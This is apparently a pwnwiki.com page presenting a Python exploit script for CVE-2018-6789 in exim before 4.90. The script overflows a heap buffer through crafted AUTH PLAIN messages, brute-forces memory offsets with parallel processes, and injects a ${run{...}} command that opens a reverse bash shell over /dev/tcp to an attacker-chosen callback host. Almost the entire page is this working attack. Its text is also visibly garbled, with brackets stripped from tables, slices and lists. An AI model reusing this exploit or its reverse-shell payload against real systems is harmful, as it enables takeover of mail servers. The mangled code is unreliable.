Loading
0

CVE-2018-6789 exim 4.90 远程代码执行漏洞

pwnwiki.com

,

EXP

# Exploit Title: exim 4.90 - Remote Code Execution
# Date: 2018-10-24
# Exploit Author: hackk.gr
# Vendor Homepage: exim.org
# Version: exim < 4.90
# Tested on: debian exim 4.89, ubuntu exim 4.86_2
# CVE : CVE-2018-6789
 
#!/usr/bin/python
#debian exim 4.89
#ubuntu exim 4.86_2
import time
import socket
import struct
import os
import os.path
import sys
import ssl
import random
from multiprocessing import Process, Queue
 
s = None
f = None
test = True
rcpt_index_start = 0x120
bufsize = 8200
 
def connect(host, port):
   global s
   global f
   s = socket.create_connection((host,port))
   f = s.makefile("rw", bufsize=0)
 
def p(v):
   return struct.pack("<Q", v)
 
def readuntil(delim='\n'):
   data = ''
   auth_plain_available = False
   while True:
    
    l = f.readline()
    if l == "":
      return ""
      
    if l.find("PLAIN") > -1:
      auth_plain_available = True  
      
    if test:
      if len(l) > 70:
       sys.stdout.write(l:70 + " ...\n")
       sys.stdout.flush()
      else:
       print l.strip("\r").strip("\n")
      
    data = data + l
    if data.find(delim) > -1:
     return data
    if l == "\n" or l == "":
     return ""
   return data
 
def write(data):
   f.write(data + "\n")
def ehlo(v):
   write("EHLO " + v)
   return readuntil('HELP')
def unrec(v):
   write(v)
   readuntil('command')
def auth_plain(v):
   encode = v.encode('base64').replace('\n','').replace('=','')
   write("AUTH PLAIN " + encode)
   l = f.readline()
   if test:
    if l.find("not advert") > -1 or l.find("not supported")> -1:
     raise Exception("NO AUTH PLAIN CONFIG")
    print l
def auth_plain1(v):
   encode = v.encode('base64').replace('\n','').replace('=','')
   write("AUTH PLAIN " + encode)
   l = f.readline()
   if test:
    if l.find("Incorrect") > -1:
     raise Exception("WRONG DRIVER")
    if l.find("not advert") > -1 or l.find("not supported")> -1:
     raise Exception("NO AUTH PLAIN CONFIG")
    print l
def auth_plain2(v,value):
   encode = v.encode('base64').replace('\n','').replace('=','')
   value = chr(value).encode('base64').replace('\n','').replace('=','')
   write("AUTH PLAIN " + encode:-1 + value)
   l = f.readline()
   if test:
    if l.find("Incorrect") > -1:
     raise Exception("WRONG DRIVER")
    if l.find("not advert") > -1 or l.find("not supported")> -1:
     raise Exception("NO AUTH PLAIN CONFIG")
    print l
def one_byte_overwrite():
   v = "C" * bufsize
   encode = v.encode('base64').replace('\n','').replace('=','')
   encode = encode:-1 + "PE"
   write("AUTH PLAIN " + encode)
   l = f.readline()
   if test:
    if l.find("Incorrect") > -1:
     raise Exception("WRONG DRIVER")
    if l.find("not advert") > -1 or l.find("not supported")> -1:
     raise Exception("NO AUTH PLAIN CONFIG")
    print l
 
lookup_table = {0x00: 0,3,
0x01: 0,7,
0x02: 0,11,
0x03: 0,15,
0x04: 0,19,
0x05: 0,23,
0x06: 0,27,
0x07: 0,31,
0x08: 0,35,
0x09: 0,39,
0x0a: 0,43,
0x0b: 0,47,
0x0c: 0,51,
0x0d: 0,55,
0x0e: 0,59,
0x0f: 0,63,
0x10: 0,67,
0x11: 0,71,
0x12: 0,75,
0x13: 0,79,
0x14: 0,83,
0x15: 0,87,
0x16: 0,91,
0x17: 0,95,
0x18: 0,99,
0x19: 0,103,
0x1a: 0,107,
0x1b: 0,111,
0x1c: 0,115,
0x1d: 0,119,
0x1e: 0,123,
0x1f: 0,127,
0x20: 0,131,
0x21: 0,135,
0x22: 0,139,
0x23: 0,143,
0x24: 0,147,
0x25: 0,151,
0x26: 0,155,
0x27: 0,159,
0x28: 0,163,
0x29: 0,167,
0x2a: 0,171,
0x2b: 0,175,
0x2c: 0,179,
0x2d: 0,183,
0x2e: 0,187,
0x2f: 0,191,
0x30: 0,195,
0x31: 0,199,
0x32: 0,203,
0x33: 0,207,
0x34: 0,211,
0x35: 0,215,
0x36: 0,219,
0x37: 0,223,
0x38: 0,227,
0x39: 0,231,
0x3a: 0,235,
0x3b: 0,239,
0x3c: 0,243,
0x3d: 0,247,
0x3e: 0,251,
0x3f: 0,254,
0x40: 64,3,
0x41: 64,7,
0x42: 64,11,
0x43: 64,15,
0x44: 64,19,
0x45: 64,23,
0x46: 64,27,
0x47: 64,31,
0x48: 64,35,
0x49: 64,39,
0x4a: 64,43,
0x4b: 64,47,
0x4c: 64,51,
0x4d: 64,55,
0x4e: 64,59,
0x4f: 64,63,
0x50: 64,67,
0x51: 64,71,
0x52: 64,75,
0x53: 64,79,
0x54: 64,83,
0x55: 64,87,
0x56: 64,91,
0x57: 64,95,
0x58: 64,99,
0x59: 64,103,
0x5a: 64,107,
0x5b: 64,111,
0x5c: 64,115,
0x5d: 64,119,
0x5e: 64,123,
0x5f: 64,127,
0x60: 64,131,
0x61: 64,135,
0x62: 64,139,
0x63: 64,143,
0x64: 64,147,
0x65: 64,151,
0x66: 64,155,
0x67: 64,159,
0x68: 64,163,
0x69: 64,167,
0x6a: 64,171,
0x6b: 64,175,
0x6c: 64,179,
0x6d: 64,183,
0x6e: 64,187,
0x6f: 64,191,
0x70: 64,195,
0x71: 64,199,
0x72: 64,203,
0x73: 64,207,
0x74: 64,211,
0x75: 64,215,
0x76: 64,219,
0x77: 64,223,
0x78: 64,227,
0x79: 64,231,
0x7a: 64,235,
0x7b: 64,239,
0x7c: 64,243,
0x7d: 64,247,
0x7e: 64,251,
0x7f: 64,254,
0x80: 128,3,
0x81: 128,7,
0x82: 128,11,
0x83: 128,15,
0x84: 128,19,
0x85: 128,23,
0x86: 128,27,
0x87: 128,31,
0x88: 128,35,
0x89: 128,39,
0x8a: 128,43,
0x8b: 128,47,
0x8c: 128,51,
0x8d: 128,55,
0x8e: 128,59,
0x8f: 128,63,
0x90: 128,67,
0x91: 128,71,
0x92: 128,75,
0x93: 128,79,
0x94: 128,83,
0x95: 128,87,
0x96: 128,91,
0x97: 128,95,
0x98: 128,99,
0x99: 128,103,
0x9a: 128,107,
0x9b: 128,111,
0x9c: 128,115,
0x9d: 128,119,
0x9e: 128,123,
0x9f: 128,127,
0xa0: 128,131,
0xa1: 128,135,
0xa2: 128,139,
0xa3: 128,143,
0xa4: 128,147,
0xa5: 128,151,
0xa6: 128,155,
0xa7: 128,159,
0xa8: 128,163,
0xa9: 128,167,
0xaa: 128,171,
0xab: 128,175,
0xac: 128,179,
0xad: 128,183,
0xae: 128,187,
0xaf: 128,191,
0xb0: 128,195,
0xb1: 128,199,
0xb2: 128,203,
0xb3: 128,207,
0xb4: 128,211,
0xb5: 128,215,
0xb6: 128,219,
0xb7: 128,223,
0xb8: 128,227,
0xb9: 128,231,
0xba: 128,235,
0xbb: 128,239,
0xbc: 128,243,
0xbd: 128,247,
0xbe: 128,251,
0xbf: 128,254,
0xc0: 192,3,
0xc1: 192,7,
0xc2: 192,11,
0xc3: 192,15,
0xc4: 192,19,
0xc5: 192,23,
0xc6: 192,27,
0xc7: 192,31,
0xc8: 192,35,
0xc9: 192,39,
0xca: 192,43,
0xcb: 192,47,
0xcc: 192,51,
0xcd: 192,55,
0xce: 192,59,
0xcf: 192,63,
0xd0: 192,67,
0xd1: 192,71,
0xd2: 192,75,
0xd3: 192,79,
0xd4: 192,83,
0xd5: 192,87,
0xd6: 192,91,
0xd7: 192,95,
0xd8: 192,99,
0xd9: 192,103,
0xda: 192,107,
0xdb: 192,111,
0xdc: 192,115,
0xdd: 192,119,
0xde: 192,123,
0xdf: 192,127,
0xe0: 192,131,
0xe1: 192,135,
0xe2: 192,139,
0xe3: 192,143,
0xe4: 192,147,
0xe5: 192,151,
0xe6: 192,155,
0xe7: 192,159,
0xe8: 192,163,
0xe9: 192,167,
0xea: 192,171,
0xeb: 192,175,
0xec: 192,179,
0xed: 192,183,
0xee: 192,187,
0xef: 192,191,
0xf0: 192,195,
0xf1: 192,199,
0xf2: 192,203,
0xf3: 192,207,
0xf4: 192,211,
0xf5: 192,215,
0xf6: 192,219,
0xf7: 192,223,
0xf8: 192,227,
0xf9: 192,231,
0xfa: 192,235,
0xfb: 192,239,
0xfc: 192,243,
0xfd: 192,247,
0xfe: 192,251,
0xff: 192,254,
}
 
def exploit(b1, b2, b3, rcpt_index, target, cb, cbport):
   global s
   global f
 
   #if c % 0x50 == 0:
   # print " byte1=0x%02x byte2=0x%02x byte3=0x%02x rcpt_index=0x%02x" % (b1, b2, b3, rcpt_index)
   
   try:
    connect(target, 25)
   except:
    raise Exception("CONNECTION ERROR")
   
   banner = f.readline()
   if test:
    print banner.strip("\r").strip("\n")
 
   ehlo("A" * 8000)
   
   ehlo("B" * 16)
   
   unrec("\xff" * 2000)
   ehlo("D" * bufsize)
   one_byte_overwrite()
    
   fake_header  = p(0)
   fake_header += p(0x1f51)
   res = auth_plain1("E" * 176 + fake_header + "E" * (bufsize-176-len(fake_header)))
   
   res = ehlo("F" * 16)
   if res == "":
    raise Exception("CRASHED")
   
   unrec("\xff" * 2000)
   unrec("\xff" * 2000)
 
   fake_header  = p(0x4110)
   fake_header += p(0x1f50)
   auth_plain("G" * 176 + fake_header + "G" * (bufsize-176-len(fake_header)))
   
   auth_plain2('A'* (bufsize) + p(0x2021) + chr(b1) + chr(b2) + chr(lookup_tableb30), lookup_tableb31)
   res = ehlo("I" * 16)
      
   if res == "":
    s.close()
    f.close()
    raise Exception("EHLO(I)")
 
   acl_smtp_rcpt_offset = rcpt_index
   local_host = cb
   local_port = cbport
   cmd = "/usr/bin/setsid /bin/bash -c \"/bin/bash --rcfile <(echo 'echo " + "0x%02x " % b1 + "0x%02x " % b2 + "0x%02x " % b3 + "0x%04x " % rcpt_index + "') -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\""
   cmd_expansion_string = "${run{" + cmd + "}}\0"
 
   auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "\x00")# * (bufsize - acl_smtp_rcpt_offset - len(cmd_expansion_string)))
 
   write("MAIL FROM:<email protected>")
 
   res = f.readline()
 
   if res != "":
    if test:
     raise Exception("NO TARGET")
    raise Exception("OFFSET")
 
   raise Exception("BYTE")
 
   write("RCPT TO:<email protected>")  
   readuntil("Accepted")
    
   write("RCPT TO:<email protected>")
   if f.readline() == "":
    s.close()
    f.close()
    raise Exception("RCPT TO")
 
def checkvuln(host):
 try:
  exploit(0xff, 0xff, 0xff, rcpt_index_start, host, "127.0.0.1", "1337")
 except Exception as e:
  print e
  if str(e) == "EHLO(I)":
   return True
 return False
 
def _exploit(b1, b2, b3, rcpt_index, target, cb, cbport, q):
 if b1 > 0xff or b2 > 0xff or b3 > 0xff:
  q.put(b1,b2,b3,"VALUE")
  return
 try:
  exploit(b1, b2, b3, rcpt_index, target, cb, cbport)
 except Exception as e:
  e = str(e)
  if e == "Errno 104 Connection reset by peer" or e.find("EOF occurred") > -1:
    e = "BYTE"
  q.put(b1,b2,b3,e)
  
if __name__ == '__main__':
 if len(sys.argv) < 4:
  print "%s <cb> <cbport> <target>" % sys.argv0
  sys.exit(1)
  
 target = sys.argv3
 cb = sys.argv1
 cbport = sys.argv2
 
 if len(sys.argv) == 8:
  print "reuse fixed offsets"
  b1 = int(sys.argv4, 16)
  b2 = int(sys.argv5, 16)
  b3 = int(sys.argv6, 16)
  rcpt_index = int(sys.argv7, 16)
 
  try:
    exploit(b1, b2, b3, rcpt_index, target, cb, cbport)
  except Exception as e:
    print e
  sys.exit(1)
 
 print "check vuln"
 if not checkvuln(target):
  print "false"
  sys.exit(1)
 
 print "true"
 test=False
 
 allbytes = offset for offset in xrange(0, 0x110)
 allbytes_10 = offset for offset in xrange(0x10, 0x110, 0x10)
 b3_survived = 
 
 b3_survived_stop = False
 tested = 
 try:
   q = Queue()
   procs = 
   print
   print "Discover first byte in offset"
   print
   sys.stdout.write("Try Offsets %02x%02x%02x to %02x%02x%02x ..." % (0x00,0xff,0xff,0xff,0xff,0xff))
   for b3 in allbytes:
     if b3 % 0x10 == 0 and b3 <= 0xff:
      sys.stdout.write("\rTry Offsets %02x%02x%02x to %02x%02x%02x ..." % (b3,0xff,0xff,0xff,0xff,0xff))
     
     b1 = 0x00
     
     for b2 in allbytes_10:
      proc = Process(target=_exploit, args=(b1, b2, b3, rcpt_index_start, target, cb, cbport, q))
      procs.append(proc)
      proc.daemon = True
      proc.start()
     
      to_break = False
      if len(procs) == 16:
       for i in xrange(0,16):
         result = q.get()
         if result3 == "BYTE":
           if b3, b2 not in tested:
            tested.append(b3, b2)
            b3_survived.append(result2)
            sys.stdout.write("\nOffset %02x%02x%02x Survived ..." % (result2,result1,result0))
           else:
            to_break = True
       
       procs: = 
       if to_break:
        break
   
   print "\n"
   print "Discover offsets for rcpt index brute force ..."
   print
   b1_survived = {}
   for b3 in b3_survived:
    for b2 in allbytes:
     if b2 % 0x10 == 0 and b2 <= 0xff:
      sys.stdout.write("\r\r\nTry Offsets %02x%02x%02x to %02x%02x%02x ... " % (b3,b2,0x00,b3,0xff,0xf0))
     for b1 in allbytes_10:
       proc = Process(target=_exploit, args=(b1, b2, b3, rcpt_index_start, target, cb, cbport, q))
       procs.append(proc)
       proc.daemon = True
       proc.start()
 
       if len(procs) == 16:
        for i in xrange(0,16):
          result = q.get()
          if result3 == "OFFSET":
           if result2 not in b1_survived:
             b1_survivedresult2 = 
           b1_survivedresult2.append(result)
           sys.stdout.write("\n%02x%02x%02x Survived ..." % (result2,result1,result0))
            
        procs: = 
   
   iteration_list = n for n in xrange(0x100,0x1000,0x10)
   iteration_list2 = n for n in xrange(0x1000,0x3000,0x100)
 
   for n in iteration_list2:
        iteration_list.append(n)
 
   b1_survived_priority = 
   b1_survived_additional = 
 
   for key in sorted(b1_survived):
    if len(b1_survivedkey) < 7:
      b1_survived_priority.append(b1_survivedkey)
    else:
      b1_survived_additional.append(b1_survivedkey)
 
   _b1_survived = 
   for result in b1_survived_priority:
    _b1_survived.append(result)
   for result in b1_survived_additional:
    _b1_survived.append(result)
 
   print "\n"
   print "Start rcpt index brute force ..."
   print
 
   for result in _b1_survived:
    for s in result:
     sys.stdout.write("\rTry Offset %02x%02x%02x with rcpt index from 0x100 to 0x3000 ..." % (s2,s1,s0))
     for rcpt_index in iteration_list:
       proc = Process(target=_exploit, args=(s0, s1, s2, rcpt_index, target, cb, cbport, q))
       procs.append(proc)
       proc.daemon = True
       proc.start()
 
       if len(procs) == 16:
        for i in xrange(0,16):
         q.get()
 
        procs: = 
 except KeyboardInterrupt:
  pass
 
 print "done."

PWNWIK.COM